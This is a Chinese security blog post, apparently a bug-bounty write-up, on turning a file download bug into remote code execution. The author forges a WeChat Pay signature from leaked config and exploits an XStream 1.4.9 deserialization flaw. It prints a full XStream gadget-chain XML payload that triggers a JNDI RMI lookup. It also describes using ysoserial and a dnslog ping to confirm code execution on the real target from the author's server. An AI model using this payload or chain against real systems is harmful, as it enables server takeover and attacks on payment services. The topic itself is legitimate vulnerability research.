之前挖到的文件下载漏洞,重新审计了一遍,发现了可以getshell的漏洞点,现在再写一篇文章分享漏洞思路。
文件下载漏洞
有恒,公众号:有恒安全一次文件下载漏洞获取源代码审计
0、漏洞回顾
1、代码审计
查看导入的外部库,发现使用了xstream组件
在xstream1.4.9版本中,存在反序列化漏洞,可以执行任意命令,漏洞详情可以参考该文章。
XStream反序列化漏洞
Jerry,公众号:海狼风暴团队CVE-2021-29505 XStream 反序列化命令执行漏洞
该方法中使用了xstream组件
只要 ”if (this.wXPay.isResponseSignatureValid(notifyMap)) {“
返回true,就可以执行getObjectFromXML方法
跟进去isResponseSignatureValid判断方法,这里要传入key,sing类型等参数,查看该方法的代码逻辑。
判断传入的参数是否有sign,如果有sign,就判断sign是否正确
生成sign的逻辑
这个是微信支付SDK中的一个工具方法,用于验证接收到的数据签名是否有效,这个方法生成的sign签名比较复杂,可以将该方法复制到自己本地的测试代码中进行调试。
找到对应的配置信息,this.config.getKey,this.signType,将参数传入到方法里面
this.config.getKey:
this.signType
通过搜索WXPayConfig与WXPay,找到对应的配置xml文件
再通过搜索wxpay.appID,wxpay.useSanBox等信息,找到对应的配置信息
2、本地代码演示
复制配置信息到本地测试代码,创建一个新的 WXPay 实例,调用刚才的isResponseSignatureValid方法,将找到的配置信息传入进去,在生成sign签名的代码打上断点,进行调试sign签名。
使用ysoserial-all.jar工具,执行calc命令
构造数据包,该数据包是访问本地的1099端口执行cc6利用链
<java.util.PriorityQueue serialization='custom'>
<unserializable-parents/>
<java.util.PriorityQueue>
<default>
<size>2</size>
</default>
<int>3</int>
<javax.naming.ldap.Rdn_-RdnEntry>
<type>12345</type>
<value class='com.sun.org.apache.xpath.internal.objects.XString'>
<m__obj class='string'>com.sun.xml.internal.ws.api.message.Packet@2002fc1d Content: <none></m__obj>
</value>
</javax.naming.ldap.Rdn_-RdnEntry>
<javax.naming.ldap.Rdn_-RdnEntry>
<type>12345</type>
<value class='com.sun.xml.internal.ws.api.message.Packet' serialization='custom'>
<message class='com.sun.xml.internal.ws.message.saaj.SAAJMessage'>
<parsedMessage>true</parsedMessage>
<soapVersion>SOAP_11</soapVersion>
<bodyParts/>
<sm class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'>
<attachmentsInitialized>false</attachmentsInitialized>
<multiPart class='com.sun.xml.internal.messaging.saaj.packaging.mime.internet.MimePullMultipart'>
<soapPart/>
<mm>
<it class='com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator'>
<aliases class='com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl'>
<candidates class='com.sun.jndi.rmi.registry.BindingEnumeration'>
<names>
<string>aa</string>
<string>aa</string>
</names>
<ctx>
<environment/>
<registry class='sun.rmi.registry.RegistryImpl_Stub' serialization='custom'>
<java.rmi.server.RemoteObject>
<string>UnicastRef</string>
<string>127.0.0.1</string>
<int>1099</int>
<long>0</long>
<int>0</int>
<long>0</long>
<short>0</short>
<boolean>false</boolean>
</java.rmi.server.RemoteObject>
</registry>
<host>127.0.0.1</host>
<port>1099</port>
</ctx>
</candidates>
</aliases>
</it>
</mm>
</multiPart>
</sm>
</message>
</value>
</javax.naming.ldap.Rdn_-RdnEntry>
</java.util.PriorityQueue>
<sign>123</sign>
</java.util.PriorityQueue>
最后调试出sign签名。
重新将刚才的sign签名转化为大写,复制到数据包中,再请求一次。
成功进入到getObjectFromXML方法里面。
成功执行命令
3、漏洞复现
步骤相同,在云服务器使用ysoserial-all.jar工具,执行ping dnslog命令
登录后台系统,构造数据包
按刚才的步骤重新生成sign签名,构造数据包发送,host改为自己服务器的ip。
服务器收到目标的请求
dnslog收到目标的ping回显
免责声明
本文中提及的程序和方法仅供安全研究与教学使用。读者如将其用于其他目的,所产生的法律后果由读者自行承担。文章作者及本公众号不对任何因此而造成的法律责任承担责任,请予以理解。
原文始发于微信公众号(有恒安全):SRC挖掘 | 文件下载漏洞getshell
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论